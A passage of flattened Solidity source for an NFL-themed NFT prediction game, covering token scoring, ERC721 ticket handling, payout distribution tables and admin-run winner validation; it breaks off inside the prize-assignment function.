uint8 constant MATCH_TOUCHDOWNS_MASK = 31;
uint8 constant BONUS_STAT_MASK = 63;
struct MatchResult{
uint8 result; /* 0-> draw, 1-> won 1, 2-> won 2 */
uint8 under49;
uint8 touchdowns;
}
struct Extras {
uint16 interceptions;
uint16 missedFieldGoals;
uint16 overtimes;
uint16 sacks;
uint16 fieldGoals;
uint16 fumbles;
}
struct BonusMatch {
uint16 bonus;
}
/**
* @notice get points from a single match
* @param matchIndex index of the match
* @param matches token predictions
* @return
*/
function getMatchPoints (uint256 matchIndex, uint160 matches, MatchResult[] matchResults, bool[] starMatches) private pure returns(uint16 matchPoints) {
uint8 tResult = uint8(matches & MATCH_RESULT_MASK);
uint8 tUnder49 = uint8((matches >> 2) & MATCH_UNDEROVER_MASK);
uint8 tTouchdowns = uint8((matches >> 3) & MATCH_TOUCHDOWNS_MASK);
uint8 rResult = matchResults[matchIndex].result;
uint8 rUnder49 = matchResults[matchIndex].under49;
uint8 rTouchdowns = matchResults[matchIndex].touchdowns;
if (rResult == tResult) {
matchPoints += 5;
if(rResult == 0) {
matchPoints += 5;
}
if(starMatches[matchIndex]) {
matchPoints += 2;
}
}
if(tUnder49 == rUnder49) {
matchPoints += 1;
}
if(tTouchdowns == rTouchdowns) {
matchPoints += 4;
}
}
/**
* @notice calculates points won by yellow and red cards predictions
* @param extras token predictions
* @return amount of points
*/
function getExtraPoints(uint96 extras, Extras extraStats) private pure returns(uint16 extraPoints){
uint16 interceptions = uint16(extras & EXTRA_STATS_MASK);
extras = extras >> 16;
uint16 missedFieldGoals = uint16(extras & EXTRA_STATS_MASK);
extras = extras >> 16;
uint16 overtimes = uint16(extras & EXTRA_STATS_MASK);
extras = extras >> 16;
uint16 sacks = uint16(extras & EXTRA_STATS_MASK);
extras = extras >> 16;
uint16 fieldGoals = uint16(extras & EXTRA_STATS_MASK);
extras = extras >> 16;
uint16 fumbles = uint16(extras & EXTRA_STATS_MASK);
if (interceptions == extraStats.interceptions){
extraPoints += 6;
}
if (missedFieldGoals == extraStats.missedFieldGoals){
extraPoints += 6;
}
if (overtimes == extraStats.overtimes){
extraPoints += 6;
}
if (sacks == extraStats.sacks){
extraPoints += 6;
}
if (fieldGoals == extraStats.fieldGoals){
extraPoints += 6;
}
if (fumbles == extraStats.fumbles){
extraPoints += 6;
}
}
/**
*
*
*
*/
function getBonusPoints (uint256 bonusId, uint32 bonuses, BonusMatch[] bonusMatches) private pure returns(uint16 bonusPoints) {
uint8 bonus = uint8(bonuses & BONUS_STAT_MASK);
if(bonusMatches[bonusId].bonus == bonus) {
bonusPoints += 2;
}
}
function calculateTokenPoints (uint160 tMatchResults, uint32 tBonusMatches, uint96 tExtraStats, MatchResult[] storage matchResults, Extras storage extraStats, BonusMatch[] storage bonusMatches, bool[] starMatches)
external pure returns(uint16 points){
//Matches
uint160 m = tMatchResults;
for (uint256 i = 0; i < MATCHES_NUMBER; i++){
points += getMatchPoints(MATCHES_NUMBER - i - 1, m, matchResults, starMatches);
m = m >> 8;
}
//BonusMatches
uint32 b = tBonusMatches;
for(uint256 j = 0; j < BONUS_MATCHES; j++) {
points += getBonusPoints(BONUS_MATCHES - j - 1, b, bonusMatches);
b = b >> 6;
}
//Extras
points += getExtraPoints(tExtraStats, extraStats);
}
}
// File: contracts/dataSource/DataSourceInterface.sol
contract DataSourceInterface {
function isDataSource() public pure returns (bool);
function getMatchResults() external;
function getExtraStats() external;
function getBonusResults() external;
}
// File: contracts/game/GameStorage.sol
// Matches
// 0 Baltimore,Cleveland Bonus
// 1 Denver,New York Bonus
// 2 Atlanta,Pittsburgh
// 3 New York,Carolina
// 4 Minnesota,Philadelphia Bonus
// 5 Arizona,San Francisco
// 6 Los Angeles,Seattle
// 7 Dallas,Houston Star
contract GameStorage{
event LogTokenBuilt(address creatorAddress, uint256 tokenId, string message, uint160 m, uint96 e, uint32 b);
event LogTokenGift(address creatorAddress, address giftedAddress, uint256 tokenId, string message, uint160 m, uint96 e, uint32 b);
event LogPrepaidTokenBuilt(address creatorAddress, bytes32 secret);
event LogPrepaidRedeemed(address redeemer, uint256 tokenId, string message, uint160 m, uint96 e, uint32 b);
uint256 constant STARTING_PRICE = 50 finney;
uint256 constant FIRST_PHASE = 1540393200;
uint256 constant EVENT_START = 1541084400;
uint8 constant MATCHES_NUMBER = 20;
uint8 constant BONUS_MATCHES = 5;
//6, 12, 18
bool[] internal starMatches = [false, false, false, false, false, false, true, false, false, false, false, false, true, false, false, false, false, false, true, false];
uint16 constant EXTRA_STATS_MASK = 65535;
uint8 constant MATCH_UNDEROVER_MASK = 1;
uint8 constant MATCH_RESULT_MASK = 3;
uint8 constant MATCH_TOUCHDOWNS_MASK = 31;
uint8 constant BONUS_STAT_MASK = 63;
uint256 public prizePool = 0;
uint256 public adminPool = 0;
mapping (uint256 => uint16) public tokenToPointsMap;
mapping (uint256 => uint256) public tokenToPayoutMap;
mapping (bytes32 => uint8) public secretsMap;
address public dataSourceAddress;
DataSourceInterface internal dataSource;
enum pointsValidationState { Unstarted, LimitSet, LimitCalculated, OrderChecked, TopWinnersAssigned, WinnersAssigned, Finished }
pointsValidationState public pValidationState = pointsValidationState.Unstarted;
uint256 internal pointsLimit = 0;
uint32 internal lastCalculatedToken = 0;
uint32 internal lastCheckedToken = 0;
uint32 internal winnerCounter = 0;
uint32 internal lastAssigned = 0;
uint32 internal payoutRange = 0;
uint32 internal lastPrizeGiven = 0;
uint16 internal superiorQuota;
uint16[] internal payDistributionAmount = [1,1,1,1,1,1,1,1,1,1,5,5,10,20,50,100,100,200,500,1500,2500];
uint24[21] internal payoutDistribution;
uint256[] internal sortedWinners;
PointsCalculator.MatchResult[] public matchResults;
PointsCalculator.BonusMatch[] public bonusMatches;
PointsCalculator.Extras public extraStats;
}
// File: contracts/CryptocupStorage.sol
contract CryptocupStorage is GameStorage {
}
// File: contracts/ticket/TicketInterface.sol
/**
* @title ERC721 Non-Fungible Token Standard basic interface
* @dev see https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md
*/
interface TicketInterface {
event Transfer(
address indexed from,
address indexed to,
uint256 indexed tokenId
);
event Approval(
address indexed owner,
address indexed approved,
uint256 indexed tokenId
);
event ApprovalForAll(
address indexed owner,
address indexed operator,
bool approved
);
function balanceOf(address owner) public view returns (uint256 balance);
function ownerOf(uint256 tokenId) public view returns (address owner);
function getOwnedTokens(address _from) public view returns(uint256[]);
function approve(address to, uint256 tokenId) public;
function getApproved(uint256 tokenId) public view returns (address operator);
function setApprovalForAll(address operator, bool _approved) public;
function isApprovedForAll(address owner, address operator) public view returns (bool);
function transferFrom(address from, address to, uint256 tokenId) public;
function safeTransferFrom(address from, address to, uint256 tokenId) public;
function safeTransferFrom(address from, address to, uint256 tokenId, bytes data) public;
}
// File: contracts/ticket/TicketStorage.sol
contract TicketStorage is TicketInterface{
// Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
// which can be also obtained as `ERC721Receiver(0).onERC721Received.selector`
bytes4 private constant ERC721_RECEIVED = 0x150b7a02;
struct Token {
uint160 matches;
uint32 bonusMatches;
uint96 extraStats;
uint64 timeStamp;
string message;
}
// List of all tokens
Token[] tokens;
mapping (uint256 => address) public tokenOwner;
mapping (uint256 => address) public tokenApprovals;
mapping (address => uint256[]) internal ownedTokens;
mapping (address => mapping (address => bool)) public operatorApprovals;
}
// File: contracts/libs/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
// assert(_b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return _a / _b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
// File: contracts/helpers/AddressUtils.sol
/**
* Utility library of inline functions on addresses
*/
library AddressUtils {
/**
* Returns whether the target address is a contract
* @dev This function will return false if invoked during the constructor of a contract,
* as the code is not actually created until after the constructor finishes.
* @param _addr address to check
* @return whether the target address is a contract
*/
function isContract(address _addr) internal view returns (bool) {
uint256 size;
// XXX Currently there is no better way to check if there is a contract in an address
// than to check the size of the code at that address.
// See https://ethereum.stackexchange.com/a/14016/36603
// for more details about how this works.
// TODO Check this again before the Serenity release, because all addresses will be
// contracts then.
// solium-disable-next-line security/no-inline-assembly
assembly { size := extcodesize(_addr) }
return size > 0;
}
}
// File: contracts/access/AccessStorage.sol
contract AccessStorage{
bool public paused = false;
bool public finalized = false;
address public adminAddress;
address public dataSourceAddress;
address public marketplaceAddress;
uint256 internal deploymentTime = 0;
uint256 public gameFinishedTime = 0;
uint256 public finalizedTime = 0;
}
// File: contracts/access/AccessRegistry.sol
/**
* @title AccessControlLayer
* @author CryptoCup Team (https://cryptocup.io/about)
* @dev Containes basic admin modifiers to restrict access to some functions. Allows
* for pauseing, and setting emergency stops.
*/
contract AccessRegistry is AccessStorage {
/**
* @dev Main modifier to limit access to delicate functions.
*/
modifier onlyAdmin() {
require(msg.sender == adminAddress, "Only admin.");
_;
}
/**
* @dev Main modifier to limit access to delicate functions.
*/
modifier onlyDataSource() {
require(msg.sender == dataSourceAddress, "Only dataSource.");
_;
}
/**
* @dev Main modifier to limit access to delicate functions.
*/
modifier onlyMarketPlace() {
require(msg.sender == marketplaceAddress, "Only marketplace.");
_;
}
/**
* @dev Modifier that checks that the contract is not paused
*/
modifier isNotPaused() {
require(!paused, "Only if not paused.");
_;
}
/**
* @dev Modifier that checks that the contract is paused
*/
modifier isPaused() {
require(paused, "Only if paused.");
_;
}
/**
* @dev Modifier that checks that the contract has finished successfully
*/
modifier hasFinished() {
require((gameFinishedTime != 0) && now >= (gameFinishedTime + (15 days)), "Only if game has finished.");
_;
}
/**
* @dev Modifier that checks that the contract has finalized
*/
modifier hasFinalized() {
require(finalized, "Only if game has finalized.");
_;
}
function setPause () internal {
paused = true;
}
function unSetPause() internal {
paused = false;
}
/**
* @dev Transfer contract's ownership
* @param _newAdmin Address to be set
*/
function setAdmin(address _newAdmin) external onlyAdmin {
require(_newAdmin != address(0));
adminAddress = _newAdmin;
}
/**
* @dev Adds contract's mkt
* @param _newMkt Address to be set
*/
function setMarketplaceAddress(address _newMkt) external onlyAdmin {
require(_newMkt != address(0));
marketplaceAddress = _newMkt;
}
/**
* @dev Sets the contract pause state
* @param state True to pause
*/
function setPauseState(bool state) external onlyAdmin {
paused = state;
}
/**
* @dev Sets the contract to finalized
* @param state True to finalize
*/
function setFinalized(bool state) external onlyAdmin {
paused = state;
finalized = state;
if(finalized == true)
finalizedTime = now;
}
}
// File: contracts/ticket/TicketRegistry.sol
/**
* @title ERC721 Non-Fungible Token Standard basic implementation
* @dev see https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md
*/
contract TicketRegistry is TicketInterface, TicketStorage, AccessRegistry{
using SafeMath for uint256;
using AddressUtils for address;
/**
* @dev Gets the balance of the specified address
* @param _owner address to query the balance of
* @return uint256 representing the amount owned by the passed address
*/
function balanceOf(address _owner) public view returns (uint256) {
require(_owner != address(0));
return ownedTokens[_owner].length;
}
/**
* @dev Gets the owner of the specified token ID
* @param _tokenId uint256 ID of the token to query the owner of
* @return owner address currently marked as the owner of the given token ID
*/
function ownerOf(uint256 _tokenId) public view returns (address) {
address owner = tokenOwner[_tokenId];
require(owner != address(0));
return owner;
}
/**
* @dev Gets tokens of owner
* @param _from address of the owner
* @return array with token ids
*/
function getOwnedTokens(address _from) public view returns(uint256[]) {
return ownedTokens[_from];
}
/**
* @dev Returns whether the specified token exists
* @param _tokenId uint256 ID of the token to query the existence of
* @return whether the token exists
*/
function exists(uint256 _tokenId) public view returns (bool) {
address owner = tokenOwner[_tokenId];
return owner != address(0);
}
/**
* @dev Approves another address to transfer the given token ID
* The zero address indicates there is no approved address.
* There can only be one approved address per token at a given time.
* Can only be called by the token owner or an approved operator.
* @param _to address to be approved for the given token ID
* @param _tokenId uint256 ID of the token to be approved
*/
function approve(address _to, uint256 _tokenId) public {
address owner = ownerOf(_tokenId);
require(_to != owner);
require(msg.sender == owner || isApprovedForAll(owner, msg.sender));
tokenApprovals[_tokenId] = _to;
emit Approval(owner, _to, _tokenId);
}
/**
* @dev Gets the approved address for a token ID, or zero if no address set
* @param _tokenId uint256 ID of the token to query the approval of
* @return address currently approved for the given token ID
*/
function getApproved(uint256 _tokenId) public view returns (address) {
return tokenApprovals[_tokenId];
}
/**
* @dev Sets or unsets the approval of a given operator
* An operator is allowed to transfer all tokens of the sender on their behalf
* @param _to operator address to set the approval
* @param _approved representing the status of the approval to be set
*/
function setApprovalForAll(address _to, bool _approved) public {
require(_to != msg.sender);
operatorApprovals[msg.sender][_to] = _approved;
emit ApprovalForAll(msg.sender, _to, _approved);
}
/**
* @dev Tells whether an operator is approved by a given owner
* @param _owner owner address which you want to query the approval of
* @param _operator operator address which you want to query the approval of
* @return bool whether the given operator is approved by the given owner
*/
function isApprovedForAll(address _owner, address _operator) public view returns (bool) {
return operatorApprovals[_owner][_operator];
}
/**
* @dev Transfers the ownership of a given token ID to another address
* Usage of this method is discouraged, use `safeTransferFrom` whenever possible
* Requires the msg sender to be the owner, approved, or operator
* @param _from current owner of the token
* @param _to address to receive the ownership of the given token ID
* @param _tokenId uint256 ID of the token to be transferred
*/
function transferFrom(address _from, address _to, uint256 _tokenId) public isNotPaused{
require(isApprovedOrOwner(msg.sender, _tokenId));
require(_from != address(0));
require(_to != address(0));
require (_from != _to);
clearApproval(_from, _tokenId);
removeTokenFrom(_from, _tokenId);
addTokenTo(_to, _tokenId);
emit Transfer(_from, _to, _tokenId);
}
/**
* @dev Safely transfers the ownership of a given token ID to another address
* If the target address is a contract, it must implement `onERC721Received`,
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
*
* Requires the msg sender to be the owner, approved, or operator
* @param _from current owner of the token
* @param _to address to receive the ownership of the given token ID
* @param _tokenId uint256 ID of the token to be transferred
*/
function safeTransferFrom(address _from, address _to, uint256 _tokenId) public {
// solium-disable-next-line arg-overflow
safeTransferFrom(_from, _to, _tokenId, "");
}
/**
* @dev Safely transfers the ownership of a given token ID to another address
* If the target address is a contract, it must implement `onERC721Received`,
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
* Requires the msg sender to be the owner, approved, or operator
* @param _from current owner of the token
* @param _to address to receive the ownership of the given token ID
* @param _tokenId uint256 ID of the token to be transferred
* @param _data bytes data to send along with a safe transfer check
*/
function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes _data) public {
transferFrom(_from, _to, _tokenId);
// solium-disable-next-line arg-overflow
// require(checkAndCallSafeTransfer(_from, _to, _tokenId, _data));
}
/**
* @dev Returns whether the given spender can transfer a given token ID
* @param _spender address of the spender to query
* @param _tokenId uint256 ID of the token to be transferred
* @return bool whether the msg.sender is approved for the given token ID,
* is an operator of the owner, or is the owner of the token
*/
function isApprovedOrOwner(address _spender, uint256 _tokenId) internal view returns (bool){
address owner = ownerOf(_tokenId);
// Disable solium check because of
// https://github.com/duaraghav8/Solium/issues/175
// solium-disable-next-line operator-whitespace
return (
_spender == owner ||
getApproved(_tokenId) == _spender ||
isApprovedForAll(owner, _spender)
);
}
/**
* @dev Internal function to mint a new token
* Reverts if the given token ID already exists
* @param _to The address that will own the minted token
* @param _tokenId uint256 ID of the token to be minted by the msg.sender
*/
function _mint(address _to, uint256 _tokenId) internal {
require(_to != address(0));
addTokenTo(_to, _tokenId);
//emit Transfer(address(0), _to, _tokenId);
}
/**
* @dev Internal function to clear current approval of a given token ID
* Reverts if the given address is not indeed the owner of the token
* @param _owner owner of the token
* @param _tokenId uint256 ID of the token to be transferred
*/
function clearApproval(address _owner, uint256 _tokenId) internal {
require(ownerOf(_tokenId) == _owner);
if (tokenApprovals[_tokenId] != address(0)) {
tokenApprovals[_tokenId] = address(0);
}
}
/**
* @dev Internal function to add a token ID to the list of a given address
* @param _to address representing the new owner of the given token ID
* @param _tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function addTokenTo(address _to, uint256 _tokenId) internal {
require(tokenOwner[_tokenId] == address(0));
tokenOwner[_tokenId] = _to;
ownedTokens[_to].push(_tokenId);
}
/**
* @dev Internal function to remove a token ID from the list of a given address
* @param _from address representing the previous owner of the given token ID
* @param _tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function removeTokenFrom(address _from, uint256 _tokenId) internal {
require(ownerOf(_tokenId) == _from);
require(ownedTokens[_from].length < 100);
tokenOwner[_tokenId] = address(0);
uint256[] storage tokenArray = ownedTokens[_from];
for (uint256 i = 0; i < tokenArray.length; i++){
if(tokenArray[i] == _tokenId){
tokenArray[i] = tokenArray[tokenArray.length-1];
}
}
delete tokenArray[tokenArray.length-1];
tokenArray.length--;
}
}
// File: contracts/libs/PayoutDistribution.sol
library PayoutDistribution {
function getDistribution(uint256 tokenCount) external pure returns (uint24[21] payoutDistribution) {
if(tokenCount < 101){
payoutDistribution = [289700, 189700, 120000, 92500, 75000, 62500, 52500, 42500, 40000, 35600, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0];
}else if(tokenCount < 201){
payoutDistribution = [265500, 165500, 105500, 75500, 63000, 48000, 35500, 20500, 20000, 19500, 18500, 17800, 0, 0, 0, 0, 0, 0, 0, 0, 0];
}else if(tokenCount < 301){
payoutDistribution = [260700, 155700, 100700, 70900, 60700, 45700, 35500, 20500, 17900, 12500, 11500, 11000, 10670, 0, 0, 0, 0, 0, 0, 0, 0];
}else if(tokenCount < 501){
payoutDistribution = [238600, 138600, 88800, 63800, 53800, 43800, 33800, 18800, 17500, 12500, 9500, 7500, 7100, 6700, 0, 0, 0, 0, 0, 0, 0];
}else if(tokenCount < 1001){
payoutDistribution = [218300, 122300, 72300, 52400, 43900, 33900, 23900, 16000, 13000, 10000, 9000, 7000, 5000, 4000, 3600, 0, 0, 0, 0, 0, 0];
}else if(tokenCount < 2001){
payoutDistribution = [204500, 114000, 64000, 44100, 35700, 26700, 22000, 15000, 11000, 9500, 8500, 6500, 4600, 2500, 2000, 1800, 0, 0, 0, 0, 0];
}else if(tokenCount < 3001){
payoutDistribution = [189200, 104800, 53900, 34900, 29300, 19300, 15300, 14000, 10500, 8300, 8000, 6000, 3800, 2500, 2000, 1500, 1100, 0, 0, 0, 0];
}else if(tokenCount < 5001){
payoutDistribution = [178000, 100500, 47400, 30400, 24700, 15500, 15000, 12000, 10200, 7800, 7400, 5500, 3300, 2000, 1500, 1200, 900, 670, 0, 0, 0];
}else if(tokenCount < 10001){
payoutDistribution = [157600, 86500, 39000, 23100, 18900, 15000, 14000, 11000, 9300, 6100, 6000, 5000, 3800, 1500, 1100, 900, 700, 500, 360, 0, 0];
}else if(tokenCount < 25001){
payoutDistribution = [132500, 70200, 31300, 18500, 17500, 14000, 13500, 10500, 7500, 5500, 5000, 4000, 3000, 1000, 900, 700, 600, 400, 200, 152, 0];
} else {
payoutDistribution = [120000, 63000, 27000, 18800, 17300, 13700, 13000, 10000, 6300, 5000, 4500, 3900, 2500, 900, 800, 600, 500, 350, 150, 100, 70];
}
}
function getSuperiorQuota(uint256 tokenCount) external pure returns (uint16 superiorQuota){
if(tokenCount < 101){
superiorQuota = 10;
}else if(tokenCount < 201){
superiorQuota = 20;
}else if(tokenCount < 301){
superiorQuota = 30;
}else if(tokenCount < 501){
superiorQuota = 50;
}else if(tokenCount < 1001){
superiorQuota = 100;
}else if(tokenCount < 2001){
superiorQuota = 200;
}else if(tokenCount < 3001){
superiorQuota = 300;
}else if(tokenCount < 5001){
superiorQuota = 500;
}else if(tokenCount < 10001){
superiorQuota = 1000;
}else if(tokenCount < 25001){
superiorQuota = 2500;
} else {
superiorQuota = 5000;
}
}
}
// File: contracts/game/GameRegistry.sol
contract GameRegistry is CryptocupStorage, TicketRegistry{
using PointsCalculator for PointsCalculator.MatchResult;
using PointsCalculator for PointsCalculator.BonusMatch;
using PointsCalculator for PointsCalculator.Extras;
/**
* @dev Checks if pValidationState is in the provided stats
* @param state State required to run
*/
modifier checkState(pointsValidationState state){
require(pValidationState == state, "Points validation stage invalid.");
_;
}
/**
* @notice Gets current token price
*/
function _getTokenPrice() internal view returns(uint256 tokenPrice){
if (now >= FIRST_PHASE) {
tokenPrice = (80 finney);
} else {
tokenPrice = STARTING_PRICE;
}
require(tokenPrice >= STARTING_PRICE && tokenPrice <= (80 finney));
}
function _prepareMatchResultsArray() internal {
matchResults.length = MATCHES_NUMBER;
}
function _prepareBonusResultsArray() internal {
bonusMatches.length = BONUS_MATCHES;
}
/**
* @notice Builds ERC721 token with the predictions provided by the user.
* @param matches - Matches results (who wins, amount of points)
* @param bonusMatches - Stats from bonus matches
* @param extraStats - Total number of extra stats like touchdonws, etc.
* @dev An automatic timestamp is added for internal use.
*/
function _createToken(uint160 matches, uint32 bonusMatches, uint96 extraStats, string userMessage) internal returns (uint256){
Token memory token = Token({
matches: matches,
bonusMatches: bonusMatches,
extraStats: extraStats,
timeStamp: uint64(now),
message: userMessage
});
uint256 tokenId = tokens.push(token) - 1;
require(tokenId == uint256(uint32(tokenId)), "Failed to convert tokenId to uint256.");
return tokenId;
}
/**
* @dev Sets the data source contract address
* @param _address Address to be set
*/
function setDataSourceAddress(address _address) external onlyAdmin {
DataSourceInterface c = DataSourceInterface(_address);
require(c.isDataSource());
dataSource = c;
dataSourceAddress = _address;
}
/**
* @notice Called by the development team once the World Cup has ended (adminPool is set)
* @dev Allows dev team to retrieve adminPool
*/
function adminWithdrawBalance() external onlyAdmin {
uint256 adminPrize = adminPool;
adminPool = 0;
adminAddress.transfer(adminPrize);
}
/**
* @notice Let the admin cash-out the entire contract balance 10 days after game has finished.
*/
function finishedGameWithdraw() external onlyAdmin hasFinished{
uint256 balance = address(this).balance;
adminAddress.transfer(balance);
}
/**
* @notice Let the admin cash-out the entire contract balance 10 days after game has finished.
*/
function emergencyWithdrawAdmin() external hasFinalized onlyAdmin{
require(finalizedTime != 0 && now >= finalizedTime + 10 days );
msg.sender.transfer(address(this).balance);
}
function isDataSourceCallback() external pure returns (bool){
return true;
}
function dataSourceGetMatchesResults() external onlyAdmin {
dataSource.getMatchResults();
}
function dataSourceGetBonusResults() external onlyAdmin{
dataSource.getBonusResults();
}
function dataSourceGetExtraStats() external onlyAdmin{
dataSource.getExtraStats();
}
function dataSourceCallbackMatch(uint160 matches) external onlyDataSource{
uint160 m = matches;
for(uint256 i = 0; i < MATCHES_NUMBER; i++) {
matchResults[MATCHES_NUMBER - i - 1].result = uint8(m & MATCH_RESULT_MASK);
matchResults[MATCHES_NUMBER - i - 1].under49 = uint8((m >> 2) & MATCH_UNDEROVER_MASK);
matchResults[MATCHES_NUMBER - i - 1].touchdowns = uint8((m >> 3) & MATCH_TOUCHDOWNS_MASK);
m = m >> 8;
}
}
function dataSourceCallbackBonus(uint32 bonusResults) external onlyDataSource{
uint32 b = bonusResults;
for(uint256 i = 0; i < BONUS_MATCHES; i++) {
bonusMatches[BONUS_MATCHES - i - 1].bonus = uint8(b & BONUS_STAT_MASK);
b = b >> 6;
}
}
function dataSourceCallbackExtras(uint96 es) external onlyDataSource{
uint96 e = es;
extraStats.interceptions = uint16(e & EXTRA_STATS_MASK);
e = e >> 16;
extraStats.missedFieldGoals = uint16(e & EXTRA_STATS_MASK);
e = e >> 16;
extraStats.overtimes = uint16(e & EXTRA_STATS_MASK);
e = e >> 16;
extraStats.sacks = uint16(e & EXTRA_STATS_MASK);
e = e >> 16;
extraStats.fieldGoals = uint16(e & EXTRA_STATS_MASK);
e = e >> 16;
extraStats.fumbles = uint16(e & EXTRA_STATS_MASK);
}
/**
* @notice Sets the points of all the tokens between the last chunk set and the amount given.
* @dev This function uses all the data collected earlier by oraclize to calculate points.
* @param amount The amount of tokens that should be analyzed.
*/
function calculatePointsBlock(uint32 amount) external{
require (gameFinishedTime == 0);
require(amount + lastCheckedToken <= tokens.length);
for (uint256 i = lastCalculatedToken; i < (lastCalculatedToken + amount); i++) {
uint16 points = PointsCalculator.calculateTokenPoints(tokens[i].matches, tokens[i].bonusMatches,
tokens[i].extraStats, matchResults, extraStats, bonusMatches, starMatches);
tokenToPointsMap[i] = points;
}
lastCalculatedToken += amount;
}
/**
* @notice Sets the structures for payout distribution, last position and superior quota. Payout distribution is the
* percentage of the pot each position gets, last position is the percentage of the pot the last position gets,
* and superior quota is the total amount OF winners that are given a prize.
* @dev Each of this structures is dynamic and is assigned depending on the total amount of tokens in the game
*/
function setPayoutDistributionId () internal {
uint24[21] memory auxArr = PayoutDistribution.getDistribution(tokens.length);
for(uint256 i = 0; i < auxArr.length; i++){
payoutDistribution[i] = auxArr[i];
}
superiorQuota = PayoutDistribution.getSuperiorQuota(tokens.length);
}
/**
* @notice Sets the id of the last token that will be given a prize.
* @dev This is done to offload some of the calculations needed for sorting, and to cap the number of sorts
* needed to just the winners and not the whole array of tokens.
* @param tokenId last token id
*/
function setLimit(uint256 tokenId) external onlyAdmin{
require(tokenId < tokens.length);
require(pValidationState == pointsValidationState.Unstarted || pValidationState == pointsValidationState.LimitSet);
pointsLimit = tokenId;
pValidationState = pointsValidationState.LimitSet;
lastCheckedToken = 0;
lastCalculatedToken = 0;
winnerCounter = 0;
setPause();
setPayoutDistributionId();
}
/**
* @notice Sets the 10th percentile of the sorted array of points
* @param amount tokens in a chunk
*/
function calculateWinners(uint32 amount) external onlyAdmin checkState(pointsValidationState.LimitSet){
require(amount + lastCheckedToken <= tokens.length);
uint256 points = tokenToPointsMap[pointsLimit];
for(uint256 i = lastCheckedToken; i < lastCheckedToken + amount; i++){
if(tokenToPointsMap[i] > points ||
(tokenToPointsMap[i] == points && i <= pointsLimit)){
winnerCounter++;
}
}
lastCheckedToken += amount;
if(lastCheckedToken == tokens.length){
require(superiorQuota == winnerCounter);
pValidationState = pointsValidationState.LimitCalculated;
}
}
/**
* @notice Checks if the order given offchain coincides with the order of the actual previously calculated points
* in the smart contract.
* @dev the token sorting is done offchain so as to save on the huge amount of gas and complications that
* could occur from doing all the sorting onchain.
* @param sortedChunk chunk sorted by points
*/
function checkOrder(uint32[] sortedChunk) external onlyAdmin checkState(pointsValidationState.LimitCalculated){
require(sortedChunk.length + sortedWinners.length <= winnerCounter);
for(uint256 i = 0; i < sortedChunk.length - 1; i++){
uint256 id = sortedChunk[i];
uint256 sigId = sortedChunk[i+1];
require(tokenToPointsMap[id] > tokenToPointsMap[sigId] || (tokenToPointsMap[id] == tokenToPointsMap[sigId] &&
id < sigId));
}
if(sortedWinners.length != 0){
uint256 id2 = sortedWinners[sortedWinners.length-1];
uint256 sigId2 = sortedChunk[0];
require(tokenToPointsMap[id2] > tokenToPointsMap[sigId2] ||
(tokenToPointsMap[id2] == tokenToPointsMap[sigId2] && id2 < sigId2));
}
for(uint256 j = 0; j < sortedChunk.length; j++){
sortedWinners.push(sortedChunk[j]);
}
if(sortedWinners.length == winnerCounter){
require(sortedWinners[sortedWinners.length-1] == pointsLimit);
pValidationState = pointsValidationState.OrderChecked;
}
}
/**
* @notice If anything during the point calculation and sorting part should fail, this function can reset
* data structures to their initial position, so as to
*/
function resetWinners(uint256 newLength) external onlyAdmin checkState(pointsValidationState.LimitCalculated){
sortedWinners.length = newLength;
}
/**
* @notice Assigns prize percentage for the lucky top 30 winners. Each token will be assigned a uint256 inside
* tokenToPayoutMap structure that represents the size of the pot that belongs to that token. If any tokens
* tie inside of the first 30 tokens, the prize will be summed and divided equally.
*/
function setTopWinnerPrizes() external onlyAdmin checkState(pointsValidationState.OrderChecked){
uint256 percent = 0;
uint[] memory tokensEquals = new uint[](30);
uint16 tokenEqualsCounter = 0;
uint256 currentTokenId;
uint256 currentTokenPoints;
uint256 lastTokenPoints;
uint32 counter = 0;
uint256 maxRange = 13;
if(tokens.length < 201){
maxRange = 10;
}
while(payoutRange < maxRange){
uint256 inRangecounter = payDistributionAmount[payoutRange];
while(inRangecounter > 0){
currentTokenId = sortedWinners[counter];
currentTokenPoints = tokenToPointsMap[currentTokenId];
inRangecounter--;
//Special case for the last one
if(inRangecounter == 0 && payoutRange == maxRange - 1){
if(currentTokenPoints == lastTokenPoints){
percent += payoutDistribution[payoutRange];
tokensEquals[tokenEqualsCounter] = currentTokenId;
tokenEqualsCounter++;
} else {
tokenToPayoutMap[currentTokenId] = payoutDistribution[payoutRange];
}
}
//Fix second condition
if(counter != 0 && (currentTokenPoints != lastTokenPoints || (inRangecounter == 0 && payoutRange == maxRange - 1))){
for(uint256 i = 0; i < tokenEqualsCounter; i++){
tokenToPayoutMap[tokensEquals[i]] = percent.div(tokenEqualsCounter);
}
percent = 0;
tokensEquals = new uint[](30);
tokenEqualsCounter = 0;
}
percent += payoutDistribution[payoutRange];
tokensEquals[tokenEqualsCounter] = currentTokenId;
tokenEqualsCounter++;
counter++;
lastTokenPoints = currentTokenPoints;
}
